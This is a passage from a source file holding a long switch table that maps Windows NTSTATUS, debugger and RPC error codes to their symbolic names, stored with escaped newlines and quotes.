case 0xC0000151: return \"STATUS_NO_SUCH_ALIAS\"\n        case 0xC0000152: return \"STATUS_MEMBER_NOT_IN_ALIAS\"\n        case 0xC0000153: return \"STATUS_MEMBER_IN_ALIAS\"\n        case 0xC0000154: return \"STATUS_ALIAS_EXISTS\"\n        case 0xC0000155: return \"STATUS_LOGON_NOT_GRANTED\"\n        case 0xC0000156: return \"STATUS_TOO_MANY_SECRETS\"\n        case 0xC0000157: return \"STATUS_SECRET_TOO_LONG\"\n        case 0xC0000158: return \"STATUS_INTERNAL_DB_ERROR\"\n        case 0xC0000159: return \"STATUS_FULLSCREEN_MODE\"\n        case 0xC000015A: return \"STATUS_TOO_MANY_CONTEXT_IDS\"\n        case 0xC000015B: return \"STATUS_LOGON_TYPE_NOT_GRANTED\"\n        case 0xC000015C: return \"STATUS_NOT_REGISTRY_FILE\"\n        case 0xC000015D: return \"STATUS_NT_CROSS_ENCRYPTION_REQUIRED\"\n        case 0xC000015E: return \"STATUS_DOMAIN_CTRLR_CONFIG_ERROR\"\n        case 0xC000015F: return \"STATUS_FT_MISSING_MEMBER\"\n        case 0xC0000160: return \"STATUS_ILL_FORMED_SERVICE_ENTRY\"\n        case 0xC0000161: return \"STATUS_ILLEGAL_CHARACTER\"\n        case 0xC0000162: return \"STATUS_UNMAPPABLE_CHARACTER\"\n        case 0xC0000163: return \"STATUS_UNDEFINED_CHARACTER\"\n        case 0xC0000164: return \"STATUS_FLOPPY_VOLUME\"\n        case 0xC0000165: return \"STATUS_FLOPPY_ID_MARK_NOT_FOUND\"\n        case 0xC0000166: return \"STATUS_FLOPPY_WRONG_CYLINDER\"\n        case 0xC0000167: return \"STATUS_FLOPPY_UNKNOWN_ERROR\"\n        case 0xC0000168: return \"STATUS_FLOPPY_BAD_REGISTERS\"\n        case 0xC0000169: return \"STATUS_DISK_RECALIBRATE_FAILED\"\n        case 0xC000016A: return \"STATUS_DISK_OPERATION_FAILED\"\n        case 0xC000016B: return \"STATUS_DISK_RESET_FAILED\"\n        case 0xC000016C: return \"STATUS_SHARED_IRQ_BUSY\"\n        case 0xC000016D: return \"STATUS_FT_ORPHANING\"\n        case 0xC000016E: return \"STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT\"\n        case 0xC0000172: return \"STATUS_PARTITION_FAILURE\"\n        case 0xC0000173: return \"STATUS_INVALID_BLOCK_LENGTH\"\n        case 0xC0000174: return \"STATUS_DEVICE_NOT_PARTITIONED\"\n        case 0xC0000175: return \"STATUS_UNABLE_TO_LOCK_MEDIA\"\n        case 0xC0000176: return \"STATUS_UNABLE_TO_UNLOAD_MEDIA\"\n        case 0xC0000177: return \"STATUS_EOM_OVERFLOW\"\n        case 0xC0000178: return \"STATUS_NO_MEDIA\"\n        case 0xC000017A: return \"STATUS_NO_SUCH_MEMBER\"\n        case 0xC000017B: return \"STATUS_INVALID_MEMBER\"\n        case 0xC000017C: return \"STATUS_KEY_DELETED\"\n        case 0xC000017D: return \"STATUS_NO_LOG_SPACE\"\n        case 0xC000017E: return \"STATUS_TOO_MANY_SIDS\"\n        case 0xC000017F: return \"STATUS_LM_CROSS_ENCRYPTION_REQUIRED\"\n        case 0xC0000180: return \"STATUS_KEY_HAS_CHILDREN\"\n        case 0xC0000181: return \"STATUS_CHILD_MUST_BE_VOLATILE\"\n        case 0xC0000182: return \"STATUS_DEVICE_CONFIGURATION_ERROR\"\n        case 0xC0000183: return \"STATUS_DRIVER_INTERNAL_ERROR\"\n        case 0xC0000184: return \"STATUS_INVALID_DEVICE_STATE\"\n        case 0xC0000185: return \"STATUS_IO_DEVICE_ERROR\"\n        case 0xC0000186: return \"STATUS_DEVICE_PROTOCOL_ERROR\"\n        case 0xC0000187: return \"STATUS_BACKUP_CONTROLLER\"\n        case 0xC0000188: return \"STATUS_LOG_FILE_FULL\"\n        case 0xC0000189: return \"STATUS_TOO_LATE\"\n        case 0xC000018A: return \"STATUS_NO_TRUST_LSA_SECRET\"\n        case 0xC000018B: return \"STATUS_NO_TRUST_SAM_ACCOUNT\"\n        case 0xC000018C: return \"STATUS_TRUSTED_DOMAIN_FAILURE\"\n        case 0xC000018D: return \"STATUS_TRUSTED_RELATIONSHIP_FAILURE\"\n        case 0xC000018E: return \"STATUS_EVENTLOG_FILE_CORRUPT\"\n        case 0xC000018F: return \"STATUS_EVENTLOG_CANT_START\"\n        case 0xC0000190: return \"STATUS_TRUST_FAILURE\"\n        case 0xC0000191: return \"STATUS_MUTANT_LIMIT_EXCEEDED\"\n        case 0xC0000192: return \"STATUS_NETLOGON_NOT_STARTED\"\n        case 0xC0000193: return \"STATUS_ACCOUNT_EXPIRED\"\n        case 0xC0000194: return \"STATUS_POSSIBLE_DEADLOCK\"\n        case 0xC0000195: return \"STATUS_NETWORK_CREDENTIAL_CONFLICT\"\n        case 0xC0000196: return \"STATUS_REMOTE_SESSION_LIMIT\"\n        case 0xC0000197: return \"STATUS_EVENTLOG_FILE_CHANGED\"\n        case 0xC0000198: return \"STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT\"\n        case 0xC0000199: return \"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT\"\n        case 0xC000019A: return \"STATUS_NOLOGON_SERVER_TRUST_ACCOUNT\"\n        case 0xC000019B: return \"STATUS_DOMAIN_TRUST_INCONSISTENT\"\n        case 0xC000019C: return \"STATUS_FS_DRIVER_REQUIRED\"\n        case 0xC0000202: return \"STATUS_NO_USER_SESSION_KEY\"\n        case 0xC0000203: return \"STATUS_USER_SESSION_DELETED\"\n        case 0xC0000204: return \"STATUS_RESOURCE_LANG_NOT_FOUND\"\n        case 0xC0000205: return \"STATUS_INSUFF_SERVER_RESOURCES\"\n        case 0xC0000206: return \"STATUS_INVALID_BUFFER_SIZE\"\n        case 0xC0000207: return \"STATUS_INVALID_ADDRESS_COMPONENT\"\n        case 0xC0000208: return \"STATUS_INVALID_ADDRESS_WILDCARD\"\n        case 0xC0000209: return \"STATUS_TOO_MANY_ADDRESSES\"\n        case 0xC000020A: return \"STATUS_ADDRESS_ALREADY_EXISTS\"\n        case 0xC000020B: return \"STATUS_ADDRESS_CLOSED\"\n        case 0xC000020C: return \"STATUS_CONNECTION_DISCONNECTED\"\n        case 0xC000020D: return \"STATUS_CONNECTION_RESET\"\n        case 0xC000020E: return \"STATUS_TOO_MANY_NODES\"\n        case 0xC000020F: return \"STATUS_TRANSACTION_ABORTED\"\n        case 0xC0000210: return \"STATUS_TRANSACTION_TIMED_OUT\"\n        case 0xC0000211: return \"STATUS_TRANSACTION_NO_RELEASE\"\n        case 0xC0000212: return \"STATUS_TRANSACTION_NO_MATCH\"\n        case 0xC0000213: return \"STATUS_TRANSACTION_RESPONDED\"\n        case 0xC0000214: return \"STATUS_TRANSACTION_INVALID_ID\"\n        case 0xC0000215: return \"STATUS_TRANSACTION_INVALID_TYPE\"\n        case 0xC0000216: return \"STATUS_NOT_SERVER_SESSION\"\n        case 0xC0000217: return \"STATUS_NOT_CLIENT_SESSION\"\n        case 0xC0000218: return \"STATUS_CANNOT_LOAD_REGISTRY_FILE\"\n        case 0xC0000219: return \"STATUS_DEBUG_ATTACH_FAILED\"\n        case 0xC000021A: return \"STATUS_SYSTEM_PROCESS_TERMINATED\"\n        case 0xC000021B: return \"STATUS_DATA_NOT_ACCEPTED\"\n        case 0xC000021C: return \"STATUS_NO_BROWSER_SERVERS_FOUND\"\n        case 0xC000021D: return \"STATUS_VDM_HARD_ERROR\"\n        case 0xC000021E: return \"STATUS_DRIVER_CANCEL_TIMEOUT\"\n        case 0xC000021F: return \"STATUS_REPLY_MESSAGE_MISMATCH\"\n        case 0xC0000220: return \"STATUS_MAPPED_ALIGNMENT\"\n        case 0xC0000221: return \"STATUS_IMAGE_CHECKSUM_MISMATCH\"\n        case 0xC0000222: return \"STATUS_LOST_WRITEBEHIND_DATA\"\n        case 0xC0000223: return \"STATUS_CLIENT_SERVER_PARAMETERS_INVALID\"\n        case 0xC0000224: return \"STATUS_PASSWORD_MUST_CHANGE\"\n        case 0xC0000225: return \"STATUS_NOT_FOUND\"\n        case 0xC0000226: return \"STATUS_NOT_TINY_STREAM\"\n        case 0xC0000227: return \"STATUS_RECOVERY_FAILURE\"\n        case 0xC0000228: return \"STATUS_STACK_OVERFLOW_READ\"\n        case 0xC0000229: return \"STATUS_FAIL_CHECK\"\n        case 0xC000022A: return \"STATUS_DUPLICATE_OBJECTID\"\n        case 0xC000022B: return \"STATUS_OBJECTID_EXISTS\"\n        case 0xC000022C: return \"STATUS_CONVERT_TO_LARGE\"\n        case 0xC000022D: return \"STATUS_RETRY\"\n        case 0xC000022E: return \"STATUS_FOUND_OUT_OF_SCOPE\"\n        case 0xC000022F: return \"STATUS_ALLOCATE_BUCKET\"\n        case 0xC0000230: return \"STATUS_PROPSET_NOT_FOUND\"\n        case 0xC0000231: return \"STATUS_MARSHALL_OVERFLOW\"\n        case 0xC0000232: return \"STATUS_INVALID_VARIANT\"\n        case 0xC0000233: return \"STATUS_DOMAIN_CONTROLLER_NOT_FOUND\"\n        case 0xC0000234: return \"STATUS_ACCOUNT_LOCKED_OUT\"\n        case 0xC0000235: return \"STATUS_HANDLE_NOT_CLOSABLE\"\n        case 0xC0000236: return \"STATUS_CONNECTION_REFUSED\"\n        case 0xC0000237: return \"STATUS_GRACEFUL_DISCONNECT\"\n        case 0xC0000238: return \"STATUS_ADDRESS_ALREADY_ASSOCIATED\"\n        case 0xC0000239: return \"STATUS_ADDRESS_NOT_ASSOCIATED\"\n        case 0xC000023A: return \"STATUS_CONNECTION_INVALID\"\n        case 0xC000023B: return \"STATUS_CONNECTION_ACTIVE\"\n        case 0xC000023C: return \"STATUS_NETWORK_UNREACHABLE\"\n        case 0xC000023D: return \"STATUS_HOST_UNREACHABLE\"\n        case 0xC000023E: return \"STATUS_PROTOCOL_UNREACHABLE\"\n        case 0xC000023F: return \"STATUS_PORT_UNREACHABLE\"\n        case 0xC0000240: return \"STATUS_REQUEST_ABORTED\"\n        case 0xC0000241: return \"STATUS_CONNECTION_ABORTED\"\n        case 0xC0000242: return \"STATUS_BAD_COMPRESSION_BUFFER\"\n        case 0xC0000243: return \"STATUS_USER_MAPPED_FILE\"\n        case 0xC0000244: return \"STATUS_AUDIT_FAILED\"\n        case 0xC0000245: return \"STATUS_TIMER_RESOLUTION_NOT_SET\"\n        case 0xC0000246: return \"STATUS_CONNECTION_COUNT_LIMIT\"\n        case 0xC0000247: return \"STATUS_LOGIN_TIME_RESTRICTION\"\n        case 0xC0000248: return \"STATUS_LOGIN_WKSTA_RESTRICTION\"\n        case 0xC0000249: return \"STATUS_IMAGE_MP_UP_MISMATCH\"\n        case 0xC0000250: return \"STATUS_INSUFFICIENT_LOGON_INFO\"\n        case 0xC0000251: return \"STATUS_BAD_DLL_ENTRYPOINT\"\n        case 0xC0000252: return \"STATUS_BAD_SERVICE_ENTRYPOINT\"\n        case 0xC0000253: return \"STATUS_LPC_REPLY_LOST\"\n        case 0xC0000254: return \"STATUS_IP_ADDRESS_CONFLICT1\"\n        case 0xC0000255: return \"STATUS_IP_ADDRESS_CONFLICT2\"\n        case 0xC0000256: return \"STATUS_REGISTRY_QUOTA_LIMIT\"\n        case 0xC0000257: return \"STATUS_PATH_NOT_COVERED\"\n        case 0xC0000258: return \"STATUS_NO_CALLBACK_ACTIVE\"\n        case 0xC0000259: return \"STATUS_LICENSE_QUOTA_EXCEEDED\"\n        case 0xC000025A: return \"STATUS_PWD_TOO_SHORT\"\n        case 0xC000025B: return \"STATUS_PWD_TOO_RECENT\"\n        case 0xC000025C: return \"STATUS_PWD_HISTORY_CONFLICT\"\n        case 0xC000025E: return \"STATUS_PLUGPLAY_NO_DEVICE\"\n        case 0xC000025F: return \"STATUS_UNSUPPORTED_COMPRESSION\"\n        case 0xC0000260: return \"STATUS_INVALID_HW_PROFILE\"\n        case 0xC0000261: return \"STATUS_INVALID_PLUGPLAY_DEVICE_PATH\"\n        case 0xC0000262: return \"STATUS_DRIVER_ORDINAL_NOT_FOUND\"\n        case 0xC0000263: return \"STATUS_DRIVER_ENTRYPOINT_NOT_FOUND\"\n        case 0xC0000264: return \"STATUS_RESOURCE_NOT_OWNED\"\n        case 0xC0000265: return \"STATUS_TOO_MANY_LINKS\"\n        case 0xC0000266: return \"STATUS_QUOTA_LIST_INCONSISTENT\"\n        case 0xC0000267: return \"STATUS_FILE_IS_OFFLINE\"\n        case 0xC0000268: return \"STATUS_EVALUATION_EXPIRATION\"\n        case 0xC0000269: return \"STATUS_ILLEGAL_DLL_RELOCATION\"\n        case 0xC000026A: return \"STATUS_LICENSE_VIOLATION\"\n        case 0xC000026B: return \"STATUS_DLL_INIT_FAILED_LOGOFF\"\n        case 0xC000026C: return \"STATUS_DRIVER_UNABLE_TO_LOAD\"\n        case 0xC000026D: return \"STATUS_DFS_UNAVAILABLE\"\n        case 0xC000026E: return \"STATUS_VOLUME_DISMOUNTED\"\n        case 0xC000026F: return \"STATUS_WX86_INTERNAL_ERROR\"\n        case 0xC0000270: return \"STATUS_WX86_FLOAT_STACK_CHECK\"\n        case 0xC0000271: return \"STATUS_VALIDATE_CONTINUE\"\n        case 0xC0000272: return \"STATUS_NO_MATCH\"\n        case 0xC0000273: return \"STATUS_NO_MORE_MATCHES\"\n        case 0xC0000275: return \"STATUS_NOT_A_REPARSE_POINT\"\n        case 0xC0000276: return \"STATUS_IO_REPARSE_TAG_INVALID\"\n        case 0xC0000277: return \"STATUS_IO_REPARSE_TAG_MISMATCH\"\n        case 0xC0000278: return \"STATUS_IO_REPARSE_DATA_INVALID\"\n        case 0xC0000279: return \"STATUS_IO_REPARSE_TAG_NOT_HANDLED\"\n        case 0xC0000280: return \"STATUS_REPARSE_POINT_NOT_RESOLVED\"\n        case 0xC0000281: return \"STATUS_DIRECTORY_IS_A_REPARSE_POINT\"\n        case 0xC0000282: return \"STATUS_RANGE_LIST_CONFLICT\"\n        case 0xC0000283: return \"STATUS_SOURCE_ELEMENT_EMPTY\"\n        case 0xC0000284: return \"STATUS_DESTINATION_ELEMENT_FULL\"\n        case 0xC0000285: return \"STATUS_ILLEGAL_ELEMENT_ADDRESS\"\n        case 0xC0000286: return \"STATUS_MAGAZINE_NOT_PRESENT\"\n        case 0xC0000287: return \"STATUS_REINITIALIZATION_NEEDED\"\n        case 0x80000288: return \"STATUS_DEVICE_REQUIRES_CLEANING\"\n        case 0x80000289: return \"STATUS_DEVICE_DOOR_OPEN\"\n        case 0xC000028A: return \"STATUS_ENCRYPTION_FAILED\"\n        case 0xC000028B: return \"STATUS_DECRYPTION_FAILED\"\n        case 0xC000028C: return \"STATUS_RANGE_NOT_FOUND\"\n        case 0xC000028D: return \"STATUS_NO_RECOVERY_POLICY\"\n        case 0xC000028E: return \"STATUS_NO_EFS\"\n        case 0xC000028F: return \"STATUS_WRONG_EFS\"\n        case 0xC0000290: return \"STATUS_NO_USER_KEYS\"\n        case 0xC0000291: return \"STATUS_FILE_NOT_ENCRYPTED\"\n        case 0xC0000292: return \"STATUS_NOT_EXPORT_FORMAT\"\n        case 0xC0000293: return \"STATUS_FILE_ENCRYPTED\"\n        case 0x40000294: return \"STATUS_WAKE_SYSTEM\"\n        case 0xC0000295: return \"STATUS_WMI_GUID_NOT_FOUND\"\n        case 0xC0000296: return \"STATUS_WMI_INSTANCE_NOT_FOUND\"\n        case 0xC0000297: return \"STATUS_WMI_ITEMID_NOT_FOUND\"\n        case 0xC0000298: return \"STATUS_WMI_TRY_AGAIN\"\n        case 0xC0000299: return \"STATUS_SHARED_POLICY\"\n        case 0xC000029A: return \"STATUS_POLICY_OBJECT_NOT_FOUND\"\n        case 0xC000029B: return \"STATUS_POLICY_ONLY_IN_DS\"\n        case 0xC000029C: return \"STATUS_VOLUME_NOT_UPGRADED\"\n        case 0xC000029D: return \"STATUS_REMOTE_STORAGE_NOT_ACTIVE\"\n        case 0xC000029E: return \"STATUS_REMOTE_STORAGE_MEDIA_ERROR\"\n        case 0xC000029F: return \"STATUS_NO_TRACKING_SERVICE\"\n        case 0xC00002A0: return \"STATUS_SERVER_SID_MISMATCH\"\n        case 0xC00002A1: return \"STATUS_DS_NO_ATTRIBUTE_OR_VALUE\"\n        case 0xC00002A2: return \"STATUS_DS_INVALID_ATTRIBUTE_SYNTAX\"\n        case 0xC00002A3: return \"STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED\"\n        case 0xC00002A4: return \"STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS\"\n        case 0xC00002A5: return \"STATUS_DS_BUSY\"\n        case 0xC00002A6: return \"STATUS_DS_UNAVAILABLE\"\n        case 0xC00002A7: return \"STATUS_DS_NO_RIDS_ALLOCATED\"\n        case 0xC00002A8: return \"STATUS_DS_NO_MORE_RIDS\"\n        case 0xC00002A9: return \"STATUS_DS_INCORRECT_ROLE_OWNER\"\n        case 0xC00002AA: return \"STATUS_DS_RIDMGR_INIT_ERROR\"\n        case 0xC00002AB: return \"STATUS_DS_OBJ_CLASS_VIOLATION\"\n        case 0xC00002AC: return \"STATUS_DS_CANT_ON_NON_LEAF\"\n        case 0xC00002AD: return \"STATUS_DS_CANT_ON_RDN\"\n        case 0xC00002AE: return \"STATUS_DS_CANT_MOD_OBJ_CLASS\"\n        case 0xC00002AF: return \"STATUS_DS_CROSS_DOM_MOVE_FAILED\"\n        case 0xC00002B0: return \"STATUS_DS_GC_NOT_AVAILABLE\"\n        case 0xC00002B1: return \"STATUS_DIRECTORY_SERVICE_REQUIRED\"\n        case 0xC00002B2: return \"STATUS_REPARSE_ATTRIBUTE_CONFLICT\"\n        case 0xC00002B3: return \"STATUS_CANT_ENABLE_DENY_ONLY\"\n        case 0xC00002B4: return \"STATUS_FLOAT_MULTIPLE_FAULTS\"\n        case 0xC00002B5: return \"STATUS_FLOAT_MULTIPLE_TRAPS\"\n        case 0xC00002B6: return \"STATUS_DEVICE_REMOVED\"\n        case 0xC00002B7: return \"STATUS_JOURNAL_DELETE_IN_PROGRESS\"\n        case 0xC00002B8: return \"STATUS_JOURNAL_NOT_ACTIVE\"\n        case 0xC00002B9: return \"STATUS_NOINTERFACE\"\n        case 0xC00002C1: return \"STATUS_DS_ADMIN_LIMIT_EXCEEDED\"\n        case 0xC00002C2: return \"STATUS_DRIVER_FAILED_SLEEP\"\n        case 0xC00002C3: return \"STATUS_MUTUAL_AUTHENTICATION_FAILED\"\n        case 0xC00002C4: return \"STATUS_CORRUPT_SYSTEM_FILE\"\n        case 0xC00002C5: return \"STATUS_DATATYPE_MISALIGNMENT_ERROR\"\n        case 0xC00002C6: return \"STATUS_WMI_READ_ONLY\"\n        case 0xC00002C7: return \"STATUS_WMI_SET_FAILURE\"\n        case 0xC00002C8: return \"STATUS_COMMITMENT_MINIMUM\"\n        case 0xC00002C9: return \"STATUS_REG_NAT_CONSUMPTION\"\n        case 0xC00002CA: return \"STATUS_TRANSPORT_FULL\"\n        case 0xC00002CB: return \"STATUS_DS_SAM_INIT_FAILURE\"\n        case 0xC00002CC: return \"STATUS_ONLY_IF_CONNECTED\"\n        case 0xC00002CD: return \"STATUS_DS_SENSITIVE_GROUP_VIOLATION\"\n        case 0xC00002CE: return \"STATUS_PNP_RESTART_ENUMERATION\"\n        case 0xC00002CF: return \"STATUS_JOURNAL_ENTRY_DELETED\"\n        case 0xC00002D0: return \"STATUS_DS_CANT_MOD_PRIMARYGROUPID\"\n        case 0xC00002D1: return \"STATUS_SYSTEM_IMAGE_BAD_SIGNATURE\"\n        case 0xC00002D2: return \"STATUS_PNP_REBOOT_REQUIRED\"\n        case 0xC00002D3: return \"STATUS_POWER_STATE_INVALID\"\n        case 0xC00002D4: return \"STATUS_DS_INVALID_GROUP_TYPE\"\n        case 0xC00002D5: return \"STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN\"\n        case 0xC00002D6: return \"STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN\"\n        case 0xC00002D7: return \"STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER\"\n        case 0xC00002D8: return \"STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER\"\n        case 0xC00002D9: return \"STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER\"\n        case 0xC00002DA: return \"STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER\"\n        case 0xC00002DB: return \"STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER\"\n        case 0xC00002DC: return \"STATUS_DS_HAVE_PRIMARY_MEMBERS\"\n        case 0xC00002DD: return \"STATUS_WMI_NOT_SUPPORTED\"\n        case 0xC00002DE: return \"STATUS_INSUFFICIENT_POWER\"\n        case 0xC00002DF: return \"STATUS_SAM_NEED_BOOTKEY_PASSWORD\"\n        case 0xC00002E0: return \"STATUS_SAM_NEED_BOOTKEY_FLOPPY\"\n        case 0xC00002E1: return \"STATUS_DS_CANT_START\"\n        case 0xC00002E2: return \"STATUS_DS_INIT_FAILURE\"\n        case 0xC00002E3: return \"STATUS_SAM_INIT_FAILURE\"\n        case 0xC00002E4: return \"STATUS_DS_GC_REQUIRED\"\n        case 0xC00002E5: return \"STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY\"\n        case 0xC00002E6: return \"STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS\"\n        case 0xC00002E7: return \"STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED\"\n        case 0xC00002E8: return \"STATUS_MULTIPLE_FAULT_VIOLATION\"\n        case 0xC0000300: return \"STATUS_NOT_SUPPORTED_ON_SBS\"\n        case 0xC0009898: return \"STATUS_WOW_ASSERTION\"\n        case 0xC0010001: return \"DBG_NO_STATE_CHANGE\"\n        case 0xC0010002: return \"DBG_APP_NOT_IDLE\"\n        case 0xC0020001: return \"RPC_NT_INVALID_STRING_BINDING\"\n        case 0xC0020002: return \"RPC_NT_WRONG_KIND_OF_BINDING\"\n        case 0xC0020003: return \"RPC_NT_INVALID_BINDING\"\n        case 0xC0020004: return \"RPC_NT_PROTSEQ_NOT_SUPPORTED\"\n        case 0xC0020005: return \"RPC_NT_INVALID_RPC_PROTSEQ\"\n        case 0xC0020006: return \"RPC_NT_INVALID_STRING_UUID\"\n        case 0xC0020007: return \"RPC_NT_INVALID_ENDPOINT_FORMAT\"\n        case 0xC0020008: return \"RPC_NT_INVALID_NET_ADDR\"\n        case 0xC0020009: return \"RPC_NT_NO_ENDPOINT_FOUND\"\n        case 0xC002000A: return \"RPC_NT_INVALID_TIMEOUT\"\n        case 0xC002000B: return \"RPC_NT_OBJECT_NOT_FOUND\"\n        case 0xC002000C: return \"RPC_NT_ALREADY_REGISTERED\"\n        case 0xC002000D: return \"RPC_NT_TYPE_ALREADY_REGISTERED\"\n        case 0xC002000E: return \"RPC_NT_ALREADY_LISTENING\"\n        case 0xC002000F: return \"RPC_NT_NO_PROTSEQS_REGISTERED\"\n        case 0xC0020010: return \"RPC_NT_NOT_LISTENING\"\n        case 0xC0020011: return \"RPC_NT_UNKNOWN_MGR_TYPE\"\n        case 0xC0020012: return \"RPC_NT_UNKNOWN_IF\"\n        case 0xC0020013: return \"RPC_NT_NO_BINDINGS\"\n        case 0xC0020014: return \"RPC_NT_NO_PROTSEQS\"\n        case 0xC0020015: return \"RPC_NT_CANT_CREATE_ENDPOINT\"\n        case 0xC0020016: return \"RPC_NT_OUT_OF_RESOURCES\"\n        case 0xC0020017: return \"RPC_NT_SERVER_UNAVAILABLE\"\n        case 0xC0020018: return \"RPC_NT_SERVER_TOO_BUSY\"\n        case 0xC0020019: return \"RPC_NT_INVALID_NETWORK_OPTIONS\"\n        case 0xC002001A: return \"RPC_NT_NO_CALL_ACTIVE\"\n        case 0xC002001B: return \"RPC_NT_CALL_FAILED\"\n        case 0xC002001C: return \"RPC_NT_CALL_FAILED_DNE\"\n        case 0xC002001D: return \"RPC_NT_PROTOCOL_ERROR\"\n        case 0xC002001F: return \"RPC_NT_UNSUPPORTED_TRANS_SYN\"\n        case 0xC0020021: return \"RPC_NT_UNSUPPORTED_TYPE\"\n        case 0xC0020022: return \"RPC_NT_INVALID_TAG\"\n        case 0xC0020023: return \"RPC_NT_INVALID_BOUND\"\n        case 0xC0020024: return \"RPC_NT_NO_ENTRY_NAME\"\n        case 0xC0020025: return \"RPC_NT_INVALID_NAME_SYNTAX\"\n        case 0xC0020026: return \"RPC_NT_UNSUPPORTED_NAME_SYNTAX\"\n        case 0xC0020028: return \"RPC_NT_UUID_NO_ADDRESS\"\n        case 0xC0020029: return \"RPC_NT_DUPLICATE_ENDPOINT\"\n        case 0xC002002A: return \"RPC_NT_UNKNOWN_AUTHN_TYPE\"\n        case 0xC002002B: return \"RPC_NT_MAX_CALLS_TOO_SMALL\"\n        case 0xC002002C: return \"RPC_NT_STRING_TOO_LONG\"\n        case 0xC002002D: return \"RPC_NT_PROTSEQ_NOT_FOUND\"\n        case 0xC002002E: return \"RPC_NT_PROCNUM_OUT_OF_RANGE\"\n        case 0xC002002F: return \"RPC_NT_BINDING_HAS_NO_AUTH\"\n        case 0xC0020030: return \"RPC_NT_UNKNOWN_AUTHN_SERVICE\"\n        case 0xC0020031: return \"RPC_NT_UNKNOWN_AUTHN_LEVEL\"\n        case 0xC0020032: return \"RPC_NT_INVALID_AUTH_IDENTITY\"\n        case 0xC0020033: return \"RPC_NT_UNKNOWN_AUTHZ_SERVICE\"\n        case 0xC0020034: return \"EPT_NT_INVALID_ENTRY\"\n        case 0xC0020035: return \"EPT_NT_CANT_PERFORM_OP\"\n        case 0xC0020036: return \"EPT_NT_NOT_REGISTERED\"\n        case 0xC0020037: return \"RPC_NT_NOTHING_TO_EXPORT\"\n        case 0xC0020038: return \"RPC_NT_INCOMPLETE_NAME\"\n        case 0xC0020039: return \"RPC_NT_INVALID_VERS_OPTION\"\n        case 0xC002003A: return \"RPC_NT_NO_MORE_MEMBERS\"\n        case 0xC002003B: return \"RPC_NT_NOT_ALL_OBJS_UNEXPORTED\"\n        case 0xC002003C: return \"RPC_NT_INTERFACE_NOT_FOUND\"\n        case 0xC002003D: return \"RPC_NT_ENTRY_ALREADY_EXISTS\"\n        case 0xC002003E: return \"RPC_NT_ENTRY_NOT_FOUND\"\n        case 0xC002003F: return \"RPC_NT_NAME_SERVICE_UNAVAILABLE\"\n        case 0xC0020040: return \"RPC_NT_INVALID_NAF_ID\"\n        case 0xC0020041: return \"RPC_NT_CANNOT_SUPPORT\"\n        case 0xC0020042: return \"RPC_NT_NO_CONTEXT_AVAILABLE\"\n        case 0xC0020043: return \"RPC_NT_INTERNAL_ERROR\"\n        case 0xC0020044: return \"RPC_NT_ZERO_DIVIDE\"\n        case 0xC0020045: return \"RPC_NT_ADDRESS_ERROR\"\n        case 0xC0020046: return \"RPC_NT_FP_DIV_ZERO\"\n        case 0xC0020047: return \"RPC_NT_FP_UNDERFLOW\"\n        case 0xC0020048: return \"RPC_NT_FP_OVERFLOW\"\n        case 0xC0030001: return \"RPC_NT_NO_MORE_ENTRIES\"\n        case 0xC0030002: return \"RPC_NT_SS_CHAR_TRANS_OPEN_FAIL\"\n        case 0xC0030003: return \"RPC_NT_SS_CHAR_TRANS_SHORT_FILE\"\n        case 0xC0030004: return \"RPC_NT_SS_IN_NULL_CONTEXT\"\n        case 0xC0030005: return \"RPC_NT_SS_CONTEXT_MISMATCH\"\n        case 0xC0030006: return \"RPC_NT_SS_CONTEXT_DAMAGED\"\n        case 0xC0030007: return \"RPC_NT_SS_HANDLES_MISMATCH\"\n        case 0xC0030008: return \"RPC_NT_SS_CANNOT_GET_CALL_HANDLE\"\n        case 0xC0030009: return \"RPC_NT_NULL_REF_POINTER\"\n        case 0xC003000A: return \"RPC_NT_ENUM_VALUE_OUT_OF_RANGE\"\n        case 0xC003000B: return \"RPC_NT_BYTE_COUNT_TOO_SMALL\"\n        case 0xC003000C: return \"RPC_NT_BAD_STUB_DATA\"\n        case 0xC0020049: return \"RPC_NT_CALL_IN_PROGRESS\"\n        case 0xC002004A: return \"RPC_NT_NO_MORE_BINDINGS\"\n        case 0xC002004B: return \"RPC_NT_GROUP_MEMBER_NOT_FOUND\"\n        case 0xC002004C: return \"EPT_NT_CANT_CREATE\"\n        case 0xC002004D: return \"RPC_NT_INVALID_OBJECT\"\n        case 0xC002004F: return \"RPC_NT_NO_INTERFACES\"\n        case 0xC0020050: return \"RPC_NT_CALL_CANCELLED\"\n        case 0xC0020051: return \"RPC_NT_BINDING_INCOMPLETE\"\n        case 0xC0020052: return \"RPC_NT_COMM_FAILURE\"\n        case 0xC0020053: return \"RPC_NT_UNSUPPORTED_AUTHN_LEVEL\"\n        case 0xC0020054: return \"RPC_NT_NO_PRINC_NAME\"\n        case 0xC0020055: return \"RPC_NT_NOT_RPC_ERROR\"\n        case 0x40020056: return \"RPC_NT_UUID_LOCAL_ONLY\"\n        case 0xC0020057: return \"RPC_NT_SEC_PKG_ERROR\"\n        case 0xC0020058: return \"RPC_NT_NOT_CANCELLED\"\n        case 0xC0030059: return \"RPC_NT_INVALID_ES_ACTION\"\n        case 0xC003005A: return \"RPC_NT_WRONG_ES_VERSION\"\n        case 0xC003005B: return \"RPC_NT_WRONG_STUB_VERSION\"\n        case 0xC003005C: return \"RPC_NT_INVALID_PIPE_OBJECT\"\n        case 0xC003005D: return \"RPC_NT_INVALID_PIPE_OPERATION\"\n        case 0xC003005E: return \"RPC_NT_WRONG_PIPE_VERSION\"\n        case 0xC003005F: return \"RPC_NT_PIPE_CLOSED\"\n        case 0xC0030060: return \"RPC_NT_PIPE_DISCIPLINE_ERROR\"\n        case 0xC0030061: return 